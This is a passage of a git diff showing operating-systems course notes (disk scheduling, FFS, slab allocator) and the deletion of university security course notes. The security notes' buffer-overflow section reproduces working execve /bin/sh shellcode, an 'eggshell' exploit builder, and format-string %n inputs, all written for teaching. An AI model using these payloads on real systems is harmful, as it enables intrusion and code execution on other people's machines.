- - 1 initiaor and at least one target - -### SCSI Requests - -A request is a command from initiator to target - -- Commmand - - Target gets control of bus but can disconnect and then reconnect - - Task identifier: initiator ID, target ID, LUN, tag - - Command descriptor block: read 10 blocks at pos. N - - Task attribute: simple ordered, head of queue - - Optional: output/input buffer, sense data - - Status byte: good, check condition, intermediate -- Execution - - Each Logical unit maintains a queue of tasks { dormant, blocked, enabled, ended } - - Simple tasks are dormant until no ordered/head of queue - - Ordered tasks dormant until no HoQ/more recent ordered - - HoQ tasks begin in enabled state -- Initatior can manage tasks - - Abort/terminate, reset -- Linked commands - - Atomic read-modify-write implementation - - Intermediate commands return a status of intermediate - -### SCSI Exceptions - -- Stop executing most commands -- Return "check conditon" status -- Simple device implementation - -### Disk Performance - -- Ordering is huge issue -- Sequential much faster than random -- Power fail leads to inconsistent state -- Order for crashes -- Order requests to minimize seek times - -### Disk Scheduling - -#### First Come First Serve (FCFS) - -- Process disk requests as they come in -- Increases average latency -- Cannot exploit request locality - -#### Shortest Positioning Time First (SPTF) - -- Pick requests with shortest seek time -- higher throughput and exploits locality -- starvation (longer seeks never get a chance) -- don't know which request will be fastest -- Improve with aged SPTF - - Serve lowest priorities, adjust by wait time - - Teffective= Tpos - W * Twait - -#### Elevator Scheduling (SCAN) - -- Sweep across disk, servicing all requests passed -- Seeks must be in the same direction -- Switch directions if no further requests -- Bounded waiting -- Biased towards middle cylinders -- Could miss an optimization SPTF would catch -- CSCAN: only sweep in one direction (common in Unix) - - LOOK/CLOOK in textbook - - After reaching disk end, jump to start of disk - -#### VSCAN(r) - -- SPTF and SCAN -- Teffective = Tpos + r * Tmax -- 0 <= r <= 1 -- r determines how much same direction seeking is rewarded (0 = SPTF, 1 = SCAN) - -### Flash Memory - -- Solid state -- Stores charge - - Charge wears off (Phone off for a year will cause data loss) -- Better heat and power consumption -- Limited overwrites -- Flash Translation Layer to protect physical block = performance impact -- Random write are expensive - -#### NOR flash - -- Can execute code in flash itself -- Faster smaller unit reads -- Slower erases - -#### Single-level cell (SLC) vs. Multi-level cell (MLC) - -- MLC encodes multiple bits in voltage level -- MLC slower to write than SLC -- MLC is basically more dense at write latency cost - -#### NAND flash - -- Higher density -- Faster erase/write -- More errors needing error correction -- 2112-byte pages -- Blocks contain 64 (SLC) or 128 (MLC) pages -- Blocks divided into 2-4 planes - - All planes contend for same package pins - - Block access in parallel -- Limited to reading one page at at ime - - 25 micro seconds -- Must erase whole block before programming - - 2ms - -## Filesystem - -### Files: name bytes on disk - -- File system: translate name & offset to disk blocks -- Want to reduce number of disk accesses for operations (group related things) -- File system metadata - - An inonde that points to the inode array. - -### Mappings - -- File metadata (inode): map byte offset to disk block address -- Directory: map name to disk address or file \# - -### Intuitions - -- perfomance related to disk accesses -- each disk access takes time because of the rotataional delay - -### Common Patterns - -- Sequential - - Processed in sequential order -- Random access - - Access any block in a file without passing predecessors (skipping) -- Keyed access - - Search for block with particular values - -### DOS FS - -- File Allocation Table (FAT) -- Each directory has a mapping of filenames to index in FAT -- FAT contains next block. -- FAT is small enough to be cached is cheaper than disk access. - -### Indexed files - -- requires large chunks of contiguous space space -- array of block pointers per file -- free list for allocations - -### Multi-level indexed files - -- 14 block pointers -- first couple pointer point to blocks -- other pointers point to more and more indirect blocks - -### Directories - -- Approach 1: known disk location; {name, inumber}, unique names -- Approach 2: Single directory per user -- Approach 3: Hierarchical name spaces, graph - -- Root directory is always inode 2 -- Special names in FS: (Root: "/"), (Current: "."), (Parent: "..") -- Special names not in FS: (User dir: "~"), globbing -- Use cd to change directory, and ls to list names in current directory - -### Hard and soft links - -- Each inode has a count of hard links -- Use `ln source synonym` to create a link -- Inode for has special symlink bit set and contains target name (automatically translated by file system) - -### Fast File System (FFS) - -- Original file system - - was slow and required inodes for directories as well - - blocks too smal (512 bytes) - - index too large - - poor clustering of related blobs, inodes far from datablocks, poor enumeration - - lacked atomic file updating - - uses a free list (linked list) of free blocks which gets jumbled and slow to find adjacent blocks -- Cluster related objects together and seperate unrealted items -- With bigger block sizes, split unused large portions into _fragments_ when there is a need to allocate smaller files -- Fixed-size fragments allows the file system to allocate files in a more organized manner, which reduces fragmentation and improve performance -- Uses bit-map of free blocks which is much easier to find contiguous blocks and can be stored in memory, time increases only when fewer free blocks - -#### Clustering in FFS Using Cylinder Groups - -- Group at least one consequtive cylinder into a _cylinder group_ -- Order of retrieval is can access any block in a cylinder without a seek, and the next fastest place is an adjacent cylinder -- Put related data in the same cylinder group and unrealted items in another group - - Different directories are placed in different cylinder groups -- Tries to put sequential blocks in adjacent sectors -- Tries to keep same inode in same cylinder as file data -- Tries to keep all inodes for a dir in the same cylinder group -- Each cylinder group is a mini-Unix file system with a starting super block - -#### Bitmap - -As said before, a bitmap is used in place of a free list to make it much simpler to find contiguous free blocks. It can also be stored in memory as it is small. - -- If a 4GB disk has 4KB blocks, how big is the map? Each bit represents a 4KB blocks, so 4,000,000 KB / 4,000 KB = 1,000 bits = 125 bytes -- Keep 10% reserved without informing user -- Only allow root to allocate from the 10% - -#### FFS Next Steps - -- Contiguous blocks are named with a single pointer and length (ext2fs) -- Writes were done synchronously -- Make writes async with write-ordering or logging/journaling - -### Log-Structured File System - -[paper](https://web.stanford.edu/~ouster/cgi-bin/papers/lfs.pdf) - -### Metadata Synchronously - -If we create a directory entry and crash during the middle of creating a directory entry and an IO block, what happens? - -- Block on disk -- Inode -- Directory entry pointing to an inode - -To ensure things work correctly, we need to flush to disk before the pointer pointing to the inode gets flushed. Therefore, we need to write out the data first, then create the inode, and then create the directory entry pointing to it. When deleting, first delete the directory entry, and then the inode. - -Log inode and dir entry to a log first. On crash, re-execute the log to copy back the file system. This is 2x the IO writes. -1GB sized journals. - -## The Slab Allocator - -[bonwick.pdf](https://rcs.uwaterloo.ca/~ali/readings/bonwick.pdf) - -### Object Caching - -Allocating an object and destroying it repeatedly is time consuming and wasteful and can be improved upon by using a cache. Use a cached object if it in the cache and upon freeing, return the object to the cache. Better to do this in the central allocator since the OS has more insight into overall memory usage and it avoids bloating the size of the kernel code. - -### Questions - -Question 1 (4) - -How does the slab allocator improve the worst-case runtime? - -In the worst case, there are lots of objects that are big in size. -Objects are cached in the slab allocator meaning that repeatedly allocating and freeing objects will not result in wasteful constructions and destructions. Rather with the cache, the object is simply initialized just once and is retrieved from the cache or put back into the cache. The client can also decide when to create and destroy the cache itself for many objects. - -Secondly, this object caching mechanism allows the slab allocator to take up pages for the same object type and use reference counting to free these pages rather than complex data structures that are non-constant in runtime. Therefore, allocations and reclaiming memory is fast as well. When objects are of the same time, they have the same lifetime distribution meaning less chance of pages being held meaning faster memory allocations when there are many applications running and competing for memory. - -Question 2 (4) - -How does the slab allocator improve the best-case runtime? - -In the best case, there are only allocations of small objects at the beginning and frees at the end. The slab layout offers a stub at the end of each slab for containing information about the buffers it has available. The interfaces are extremely lightweight meaning that little memory allocations. - -The slab allocator improves the best-case runtime, because as written in 5.3 (2), cache utilization is better. The Slab allocator gives each slab an offset so that buffers are distributed evenly throughout the cache rather than heavily loading the same cache lines. Without the offset, the same lines of the cache would be read since each buffer is of the same object type. The offset alleviates this cache loading and thus improves the miss rate which thus improve runtime even in the best cases. - -Question 3 (3) - -List the three largest sources of improved OS performance when using a slab allocator? - -- Object-cache interface -- Memory management via slabs (no limits, faster counting, same type buffers to reduce fragmentation) -- Slab coloring to improve cache utilization - -## The Fast File System - -[ffs.pdf](https://rcs.uwaterloo.ca/~ali/readings/ffs.pdf) - -512 bytes → 1024 resulted in 2x performance -- each disk transfer accessed twice the amount of data -- direct blocks contained twice as much data → most files don’t need indirect blocks -Randomization of data blocks causes deteriorated performance due to seeking before access -Super-block is at the start of each partition and contains critical data and is replicated.  - -Question 1 (4) - -How does the performance benefits of cylinder groups change with number of cylinder groups? How would you size the cylinder groups on a modern multi-terabyte disk? - -The more cylinder groups, the more times the OS can group related data together. This means that bigger files can be stored and be read more efficiently (single pass). For sizing the cylinder groups on a multi-terabyte disk, we can expect files that are many gigabytes in size and so need enough groups to distribute these big files across many groups. We need 10MB cylinder groups to allocate a 100GB file on a 1TB system (1TB / 100GB ~= 10 MB). Reasoning is “The heuristic solution chosen is to redirect block allocation to a different cylinder group when a file exceeds 48 kilobytes, and at every megabyte thereafter.” - -Question 2 (4) - -One can repair most POSIX file systems through the fsck command. Typically, the computer detects an unclean unmount through the superblock and repairs the file system before the computer starts up by running fsck. If we want to optimize the computer startup time, we need to run fsck in the background and the file system must be 'correct enough' to allow the computer to operate on it. Describe at least one precondition all file system writes must adhere to, to allow one to repair the file system in the background after the computer has booted. - -Writes must not corrupt the filesystem. For writes to not corrupt the filesystem, at all times, all inodes must point to valid data, and all directory entries must point to valid inodes. Therefore, writes must be done in the order of disk, then inode creation, then directory entry. This ensures that corrupt or random garbage data is not being read or pointed to by a directory entry or inode. This way, fsck can fix any broken pointers in the background while the computer boots fine. - -Quesion 3 (2) - -If you don't want to use fragments, how can you reduce the space wasted by very small files (i.e., less than 56 Bytes). - -Dedicate end portions of each cylinder group for very small files. So blocks of 56 at the very of end of each group. Then whenever a file needs to be read or written, the OS should try reading from the end of the group rather than the front. Prevent bigger files from writing into these blocks. Since each cylinder group will have a fixed size, the OS should be able to calculate which blocks are of size 4096 and which blocks are of a smaller size, and then prevent writing multiple smaller blocks unless necessary. In essence, dedicated blocks for very small files at the end of each cylinder group where the OS knows beforehand the change in block sizes will enable reducing wasted space without using fragments. diff --git a/content/posts/university/cs-489-security.md b/content/posts/university/cs-489-security.md deleted file mode 100644 index 9f847fbad..000000000 --- a/content/posts/university/cs-489-security.md +++ /dev/null @@ -1,1688 +0,0 @@ ---- -title: "CS 489 Security" -date: 2024-01-09T11:33:24-05:00 -draft: false -tags: - - university - - cybersecurity - - computer-science -summary: "Detailed notes and summaries from a university course on Security, covering security goals, threats, defenses, program security, OS security, mobile security, ethics, laws, blockchain, vulnerabilities, and bug finding/defenses." ---- - -## Introduction - -### Assignments - -- 4 [Assignments](https://cs.uwaterloo.ca/~m285xu/courses/cs489-w24/assignments/) worth 25% each -- Written and/or programming -- Start ASAP - -Assignment | Start Date | Due Date | Days Given | Grade Weight -----------------| -------------- | ------------- | --------------- | ------------------- -1 | Jan 23 | Feb 09 | 17 | 25% -2 | Feb 13 | Mar 01 | 17 | 25% -3 | Mar 05 | Mar 22 | 17 | 25% -4 | Mar 26 | Apr 05 | 10 | 25% - -### Textbooks - -- [Computer Security and the Internet](https://link.springer.com/book/10.1007/978-3-030-83411-13th) -- [Security in Computing 5th edition](https://eopcw.com/assets/stores/Computer%20Security/lecturenote_1704978481security-in-computing-5-e.pdf) - -### Goals (CIA) - -- Confidentiality: limiting access to authorized parties -- Integrity: when you receive data, you get the "right" data -- Availability: the system or data is there when you want it - - Hardest to uphold since attacker has many ways to take down a system - -### Security and Privacy - -- When the entities are different, they may appear to be opposing, but when the entity is the same (you), then it works complimentary - - Airport Security - - App sandboxing and permissions - - PIPEDA (Personal Information Protection and Electronic Documents Act) for private-sector privacy legislation - - Forthcoming Consumer Privacy Protection Act to modernize protection: meaningful consent, right to erasure - -### Adversaries - -- Murphy Amateurs - - Bugs waiting to be exploited -- Script kiddies - - People who just copy attacks from other people -- Crackers or Hackers - - Hacker is a general term, not necessarily related to security - - Cracker is 100% only related to writing things for script kiddies and etc. -- Organized crime -- Government "cyberwarriors" -- Terrorists - -### Terminology - -- Assets -- Vulnerability - - Weaknesses that may be able to be exploited - - e.g. file server without authentication - - API to access GPS coordinates without authenticating apps -- Threats - - A loss or harm - - Interception - - Interruption - - Modification - - Fabrication -- Attack - - An action which exploits a vulnerability to execute a threat -- Control/Defence - - Removing or reducing a vulnerability - - Prevent an attack and defend against a threat - -### Methods of Defence - -- Prevent it -- Deter it -- Deflect it: make yourself less attractive to attacker (Xbox) -- Detect it -- Recover from it -- Defence in depth -- Your car may get stolen - - Park inside your garage - - Lock your car - - Insurance - -### Weakest Link - -- A system is only as strong as its weakest link - -### Defence of Computer Systems - -- Cryptography - - Digital signatures - - Cryptographic protocols - - Unreadable to an attacker -- Software Controls - - Passwords - - Separate user actions from each other - - Virus scanner - - Development controls - - Firewalls -- Hardware Controls - - Fingerprint - - Smart tokens - - Trusted Execution Environments (TEEs) -- Physical Controls - - Locks - - Guards - - Off-site backups -- Policies and Procedures - - Non-technical means can be used to protect against some classes of attack - - Rules about choosing passwords - - Training in best security practices - - VPN - -## Program Security - -### Linux Security Basics - -What is the root user, and what is sudo, and how does it work? - -The root user, is the super-user with user ID 0 on a Linux system which implies they have full uncapped control over the entire system and are allowed to do anything they want. - -Therefore, certain programs restrict actions to the root user as they are basically saying "we are doing or want to access something critical, therefore the root user needs to run this program." This is there to protect the system from non-root users and programs. - -So to run programs that require the user to be root, either we log in as the root user and run every program by default with privilege or we use the `sudo` (superuser do) program to run other programs as the root user. The sudo program is a program with root access (well one specific one which is the ability to set a program's userID) that lets us run programs as any other user, however the default behaviour is to try running as the root user. - -Now how does sudo actually figure out if the non-root user can run programs as root? Security policy. It first checks if the command is allowed to be run by root by the user via the patterns in the `/etc/sudoers` file. This means that sudo will not ask for the password. Anyways, the sudo program will do all those pattern checks and then will try to see if you are part of the sudo group. The sudo group is a group that can use the sudo command arbitrarily. - -Want to know if you are part of the sudo group? - -```sh -groups $USER | grep -q sudo && echo "you are sudo" || echo you are not sudo -``` - -### Flaw, faults, and failures - -- Flaw is a problem with a program -- Security flaw is a flaw that affects security in some way (confidentiality, integrity, availability) -- Flaws are faults or failures - - A fault is a potential problem and behind the scenes - - Once exploited, it becomes a failure - -### Finding and Fixing Faults - -- Fuzzing: - - Test with random input -- Think like an attacker -- Can work backwards if user reported a failure -- Make patches to the program -- Penetrate and patch -- MIcrosoft's "Patch Tuesday" -- Zero day: problem not known to the vendor - -Problems with patching - -- HIgh pressure to fix the fault results in narrow focus instead of broad underlying problem -- Fault caused other, unnoticed failures, and a partial fix -- Patch causes new faults, here or elsewhere - -Alternatives? - -- Test based updating - - Create a test for the security vulnerability and then fix code so that tests pass - -### Unexpected Behaviour - -- Program has a spec for what the program must do -- From security POV, extra behaviours could be bad -- Always consider "and nothing else" -- How to test Should do vs. Should not do - -### Types of security flaws - -- Genesis method - - Intentional - - Malicious - - Non-malicious - - A backdoor or a bad security that was supposed to be removed - - Unintentional - -Most security flaws are unintentional program errors - -### Unintentional Security Flaws - -- Heartbleed Bug in OpenSSL (April 2014) -- TLS Heartbeat mechanism was designed to keep SSL/TLS connections alive even when no data is being transmitted -- Random data and a payload length -- Other peer supposed to respond with a mirror of exactly the same data -- Missing bounds check in the code -- Attacker can request 64KB of memory space from the same area that holds server's private key - -![Comic](https://imgs.xkcd.com/comics/heartbleed_explanation_2x.png) - -Types: - -- Buffer overflows -- Integer overflows -- Incomplete mediation -- Format string vulnerabilities -- TOCTTOU errors (Time-of-check to time-of-use) - -### Buffer Overflows - -- Most commonly exploited type of security flaw -- Program code (Text) -- Global data (BSS and data segments) -- Heap (dynamically allocated data) -- Function call data (Stack) - - The stack increases (lower memory addresses) as functions are called (frames) - - x86 architecture -- Important addresses: Return Address and Frame Pointer -- Example - -```c -#defined LINELEN 1024 -char buffer[LINELEN]; - -gets(buffer); -// OR -strcpy(buffer, arv[1]); -``` - -What happens when the buffer length < than the first argument? - -```c -int check_signature(char *str, int j) { - int i = 0; - char user_signature[24]; - strcpy(user_signature, str); - if(isValid(user_signature)); - i = 1; - return i; -} -``` - -```c -// main FRAME -... -// check_signature FRAME -j -&str FP + 8 -Return Address (RA) -Old Frame Pointer (FP) ←--- FRAME POINTER HERE -............ -Padding -............ -Value of i -user_signature[23] -... -user_signature[0] -``` - -When a function call returns, the OLD FP and local variables of its stack are popped but the args and RA are kept since it's part of its parent's local variables. - -Str = "randomStringLongerThan24Bytes" - -We can use `\xbf...` to overwrite the return addresses such that the function and program returns to another part. We can also set that `i = 1` through. - -- Crash reasons - - overwritten RA to an invalid address - - unmapped virtual address - - valid address does not point to an instruction - - Question: by is not an instruction, is that a raw data does not correspond to an instruction, or is it in the wrong part of the code? - - address content is off-limit - -
Smash the Stack - -How did we know to add 8 to the return address? We used a -test value first (for example 1), compiled the program, and then started gdb: - -```gdb -gdb example3 -(gdb) disassemble main -``` - -0x8004b2 - 0x8004a8 = 8 - -- We want to spawn a shell and run arbitrary command -- We want to overwrite the buffer with code we want to run -- We want to set the return address to the address of the code we want to run -- Write code in hack.c, compile, and use gdb to get the code commands -- (gdb) disassemble main -- (gdb) disassemble __execve - -Template - -```c -#include - -void main() { - char *name[2]; - - name[0] = "/bin/sh"; - name[1] = NULL; - execve(name[0], name, NULL); -} -``` - -1. Have the null terminated string "/bin/sh" somewhere in memory. -2. Have the address of the string "/bin/sh" somewhere in memory followed by a null long word. -3. Copy 0xb into the EAX register. -4. Copy the address of the address of the string "/bin/sh" into the EBX register. -5. Copy the address of the string "/bin/sh" into the ECX register. -6. Copy the address of the null long word into the EDX register. -7. Execute the int $0x80 instruction. -8. Copy 0x1 into the EAX register. -9. Copy 0x0 into the EBX register. -10. Execute the int $0x80 instruction. - -We also want to add an exit(0) call to make sure things are fine - -```c -#include - -void main() { - exit(0); -} -``` - -want to make sure to not have null bytes. - -```c -char shellcode[] = - "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" - "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" - "\x80\xe8\xdc\xff\xff\xff/bin/sh"; - -char large_string[128]; - -void main() { - char buffer[96]; - int i; - long *long_ptr = (long *) large_string; - - for (i = 0; i < 32; i++) - *(long_ptr + i) = (int) buffer; - - for (i = 0; i < strlen(shellcode); i++) - large_string[i] = shellcode[i]; - - strcpy(buffer,large_string); -} -``` - -```gdb -(gdb) disassemble main -...End of assembler dump. -(gdb) x/bx main+3 -0x8000133 : 0xeb -``` - -Test your exploit. We also need to replace null bytes. - -```c -char shellcode[] = - "\xeb\x2a\x5e\x89\x76\x08\xc6\x46\x07\x00\xc7\x46\x0c\x00\x00\x00" - "\x00\xb8\x0b\x00\x00\x00\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80" - "\xb8\x01\x00\x00\x00\xbb\x00\x00\x00\x00\xcd\x80\xe8\xd1\xff\xff" - "\xff\x2f\x62\x69\x6e\x2f\x73\x68\x00\x89\xec\x5d\xc3"; - -void main() { - int *ret; - - ret = (int *)&ret + 2; - (*ret) = (int)shellcode; - -} -``` - -```txt -Problem instruction: Substitute with: --------------------------------------------------------- -movb $0x0,0x7(%esi) xorl %eax,%eax -molv $0x0,0xc(%esi) movb %eax,0x7(%esi) - movl %eax,0xc(%esi) --------------------------------------------------------- -movl $0xb,%eax movb $0xb,%al --------------------------------------------------------- -movl $0x1, %eax xorl %ebx,%ebx -movl $0x0, %ebx movl %ebx,%eax - inc %eax -``` - -How to print the stack pointer - -```c -unsigned long get_sp(void) { - __asm__("movl %esp,%eax"); -} -void main() { - printf("0x%x\n", get_sp()); -} -``` - -Since we don't know where our code starts, we want to use a bunch of NOP (0x90), then put our code, then put the return addresses. - -We can also use Environment variables, in case the buffer is small. - -What to look for? - -> They include: strcat(), strcpy(), sprintf(), and vsprintf(). These functions operate on null-terminated strings, and do not check for overflow of the receiving string. gets() is a function that reads a line from stdin into a buffer until either a terminating newline or EOF. It performs no checks for buffer overflows. The scanf() family of functions can also be a problem if you are matching a sequence of non-white-space characters (%s), or matching a non-empty sequence of characters from a specified set (%[]), and the array pointed to by the char pointer, is not large enough to accept the whole sequence of characters, and you have not defined the optional maximum field width. If the target of any of these functions is a buffer of static size, and its other argument was somehow derived from user input there is a good posibility that you might be able to exploit a buffer overflow. - -> Another usual programming construct we find is the use of a while loop to read one character at a time into a buffer from stdin or some file until the end of line, end of file, or some other delimiter is reached. This type of construct usually uses one of these functions: getc(), fgetc(), or getchar(). If there is no explicit checks for overflows in the while loop, such programs are easily exploited. - -```c -// shellcode.c -#if defined(__i386__) && defined(__linux__) - -#define NOP_SIZE 1 -char nop[] = "\x90"; -char shellcode[] = - "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" - "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" - "\x80\xe8\xdc\xff\xff\xff/bin/sh"; - -unsigned long get_sp(void) { - __asm__("movl %esp,%eax"); -} - -#elif defined(__sparc__) && defined(__sun__) && defined(__svr4__) - -#define NOP_SIZE 4 -char nop[]="\xac\x15\xa1\x6e"; -char shellcode[] = - "\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e\x2f\x0b\xdc\xda\x90\x0b\x80\x0e" - "\x92\x03\xa0\x08\x94\x1a\x80\x0a\x9c\x03\xa0\x10\xec\x3b\xbf\xf0" - "\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc\x82\x10\x20\x3b\x91\xd0\x20\x08" - "\x90\x1b\xc0\x0f\x82\x10\x20\x01\x91\xd0\x20\x08"; - -unsigned long get_sp(void) { - __asm__("or %sp, %sp, %i0"); -} - -#elif defined(__sparc__) && defined(__sun__) - -#define NOP_SIZE 4 -char nop[]="\xac\x15\xa1\x6e"; -char shellcode[] = - "\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e\x2f\x0b\xdc\xda\x90\x0b\x80\x0e" - "\x92\x03\xa0\x08\x94\x1a\x80\x0a\x9c\x03\xa0\x10\xec\x3b\xbf\xf0" - "\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc\x82\x10\x20\x3b\xaa\x10\x3f\xff" - "\x91\xd5\x60\x01\x90\x1b\xc0\x0f\x82\x10\x20\x01\x91\xd5\x60\x01"; - -unsigned long get_sp(void) { - __asm__("or %sp, %sp, %i0"); -} - -#endif -``` - -```c -// eggshell.c -#include -#include -#include "shellcode.h" - -#define DEFAULT_OFFSET 0 -#define DEFAULT_BUFFER_SIZE 512 -#define DEFAULT_EGG_SIZE 2048 - -void usage(void); - -void main(int argc, char *argv[]) { - char *ptr, *bof, *egg; - long *addr_ptr, addr; - int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE; - int i, n, m, c, align=0, eggsize=DEFAULT_EGG_SIZE; - - while ((c = getopt(argc, argv, "a:b:e:o:")) != EOF) - switch (c) { - case 'a': - align = atoi(optarg); - break; - case 'b': - bsize = atoi(optarg); - break; - case 'e': - eggsize = atoi(optarg); - break; - case 'o': - offset = atoi(optarg); - break; - case '?': - usage(); - exit(0); - } - - if (strlen(shellcode) > eggsize) { - printf("Shellcode is larger the the egg.\n"); - exit(0); - } - - if (!(bof = malloc(bsize))) { - printf("Can't allocate memory.\n"); - exit(0); - } - if (!(egg = malloc(eggsize))) { - printf("Can't allocate memory.\n"); - exit(0); - } - - addr = get_sp() - offset; - printf("[ Buffer size:\t%d\t\tEgg size:\t%d\tAligment:\t%d\t]\n", - bsize, eggsize, align); - printf("[ Address:\t0x%x\tOffset:\t\t%d\t\t\t\t]\n", addr, offset); - - addr_ptr = (long *) bof; - for (i = 0; i < bsize; i+=4) - *(addr_ptr++) = addr; - - ptr = egg; - for (i = 0; i <= eggsize - strlen(shellcode) - NOP_SIZE; i += NOP_SIZE) - for (n = 0; n < NOP_SIZE; n++) { - m = (n + align) % NOP_SIZE; - *(ptr++) = nop[m]; - } - - for (i = 0; i < strlen(shellcode); i++) - *(ptr++) = shellcode[i]; - - bof[bsize - 1] = '\0'; - egg[eggsize - 1] = '\0'; - - memcpy(egg,"EGG=",4); - putenv(egg); - - memcpy(bof,"BOF=",4); - putenv(bof); - system("/bin/sh"); -} - -void usage(void) { - (void)fprintf(stderr, - "usage: eggshell [-a ] [-b ] [-e ] [-o ]\n"); -} -``` - -In the end - -```txt -SHELL CODE -NOP -FILLED RAS -``` - -
- -### Single Bytes Buffer Overflow - -- Programmers forget to allocate null terminator so a single byte can be written past the end of the buffer -- Heap Overflow - -### Causes - -- Missing boundary check -- Ability to overwrite important memory regions -- Data is treated as code and executed -- Predictability of the addresses - -### Defences - -- Use a language with bounds checking -- Canaries (padding between data and return address) -- Check if stack has been overwritten before the return from each function -- OS -- Hardware - -### Cross-Site Scripting (XSS) Attacks - -- Use browser interprets the data as code -- Client-side mediation - - Invalid data - - Client is arbitrary, so need to enforce validation on server - -### Format String Vulnerabilities - -- printf(buffer) instead of printf("%s", buffer) -- provide input:`%d...%s` -- Suppose we want to read a variable `pin` and the address through debugging is said to be `0x0804fa88` -- Provide input `0x0804fa888%d...%s` -- Provide input `0x0804fa888%d...%n` ← %n can change the value - -### TOCTTOU - -- time-of-check to time-of-use -- gap between time of check and the time of use -- unix terminal was running with SU to allocate terminals to users (which was a privilege operation) -- Supported command to write to log file -- First checks if the user has the permissions to write to the requested file, and opens the file for writing -- The attacker would first make a symbolic link to a file they she owned, and then changes it to another file -- The attacker would most likely run the exploit in a loop -- Defences: - - Atomic operation - - Use file handles not file names since file handles cannot be changed - -### Malicious code: Malware - -- Malicious software - - User action - - Channels - - USBs are automatically executed - - Downloading and running - - Executable email attachment - - Inserting CD/DVD or USB flash drive - - Exploiting an existing fault in a system - - Whatsapp buffer overflows is SMS daemon - - Virus - - Adds itself to benign programs/files - - Code for spreading + code for actual attack - - Usually activated by users - - Worms - - Spreading with no or little user involvement - - Trojans - - HIdden in seemingly innocent program - - Logic bombs - - Hidden in programs already on your machine - - Infection -- Infection - - Infect the computer itself - - Modifying the boot loader - - Executable: modifying other programs and add to the beginning - - Macros: edit other documents to add itself as a macro which starts automatically -- Payload - - The bad thing - - Erase hard drive - - Corrupt some of your spreadsheets - - Keylogger - - Attacks a website -- Signature-based protection - - Keep a list of all known viruses - - Infection code and payload code - - viruses try obfuscation -- Polymorphism - - When code is shared, the virus is encrypted, and then decrypted - - Encrypt with different keys for different machines -- Behaviour-based protection - - Run in a sandbox first - - Look for suspicious patterns not specific code fragments -- False negative vs. False positive - - False negative is worse -- Code Red Worm - - 2001, IIS exploit, patch available for more than one month -- Stuxnet - - Discovered in 2010, targets Siemens SCADA systems installed on Windows. Gas centrifuges. - - Four zero-day vulnerabilities - - Very targeted -- IoT Malware - - Limited in terms of resources -- Trojan Horses - - Programs which claim to do something innocuous but hide malicious behaviour -- Scareware -- Ransomware -- Web bug - - Intuit violation of privacy -- Back doors - - Debugging left overs - -### Privilege Escalation - -- A legitimate part that runs with higher privieldge -- Attacker wants to trick the system into running custom command -- StrandHogg 2.0: Critical Android flow allows app hijacking, data theft - -### Rootkits - -- often used by script kiddies -- Two main parts - - gaining unauthorized root / admin priviledges - - known exploit - - backdoor added - - hides existence - - clean up log messages created by exploit - - modify commands like ls and ps to not report files and processes by the rootkit - -Example: Sony XCP - -- Mark Russinovinch developed rootkit scanner for Windows -- Sony audio CD player (XCP) "copy protection" -- audio CD has an autorun.exe which auto executes and installs a rootkit -- Sony released an uninstaller that left a back door -- Hard to find and uninstall because files and processes started with $sys$ were hidden -- It's basically HIV but for computers - -### Keystroke Logger - -- record of email / IM you send, all passwords you type -- data can abe access locally or sent to a remote server -- installed by malware -- application specific -- system specific -- hardware keyboard logger - -### Interface Illusions - -What if dragging on that “scrollbar” really dragged a program (from a malicious website) into your “Startup” folder (in addition to scrolling the document)? This really happened - -- Conficker worm had "open folder and view files" under Install or run program. - -### Clickjacking - -- trick user into clicking something disguised as innocuous - -### Phishing - -- Example of interface illusion -- Can make the website look like the real thing - - Everything except for the URL (but it's possible to have very hidden characters) - -### Man-in-The-Middle - -- man in the middle intercepts communication from user and sends it to the intended party -- sees, records, and can capture passwords, and insert malicious commands - -### Nonmalicious flaws: Covert Channels - -- Attacker creates a capability to transfer sensitive Information through a channel that is not supposed to transmit information -- What information can/cannot be transmitted through a channel may be determined by a policy/guidelines/physical limitation -- An attacker sees that the victim, although not using internet, publishes a report summarizing public information -- The attacker can hide the data in the report - -### Cache Timing side channels - -- Spectre and Meltdown attacks -- Caches are shared: by timing cache access, a process can learn information about data used by another. -- Speculative and out of order execution can be exploited - -### Other Potential Attack Vectors - -- Bandwidth consumption -- Timing computations -- Electromagnetic emission -- Sound emissions -- Power consumption -- Differential power analysis -- Differential fault analysis - -### Controls Against Security Flaws - -- Several stages in software life cycle -- Design - -### Design - Modularity - -- each responsible for a single subtask -- easier to check for flaws -- low coupling - -### Design - Encapsulation - -- self-contained -- reduce coupling -- do not need to know implementation of other modules (use APIs) - -### Design - Information Hiding - -- Implementation and internal state should be hidden from developers of other module -- Prevents reliance on behaviour not promised in the API -- also hides malicious actions - - Samsung.pck - -### Design - Mutual Suspicion - -- Input validation / sanitation - -### Design - Confinement - -- Sandbox functionality of other modules that are required - -### Security Controls Implementation - -- don't use C -- static code analysis - - software products that look for buffer overflows, TOCTTOU - - do not rely on them -- hardware assistance - - ARM Pointer Authentication https://lwn.net/Articles/718888/ - - Hardware-assisted shadow stack https://lwn.net/Articles/758245/ - - Capabilities in hardware https://www.cl.cam.ac.uk/research/security/ctsrd/cheri/ -- formal methods - - try proving that the code is correct - - not really possible - - need markups or assertions -- genetic diversity - - lots of machines run the same code, but if there was more different implementations, less common flaw - - same thing happens in agriculture - -### Security Controls - Code Reviews - -- LGTM! -- Just get the code -- Better: guided walk-through - - explain code to reviewers (comments suffice imo) - - good for changes to code -- Easter egg code reviews are when no problems are assumed - - Therefore, author can intentionally insert flaws so reviewer reviews better - -### Security Controls - Testing - -- black-box -- fuzz testing - - random data -- white-box - - useful for regression testing - - suite of tests created - -### Security Controls - Docs - -- write down choices made and why they were made -- if there is a question to do a secure thing, it should be done and ask if it should be removed rather than not enforced at all or earmarked for later - -### Standards, Processes, Audit - -- standards: what to use (design, testing, etc) -- processes: how to implement standards -- audits: verification that implementation was done correctly - -### 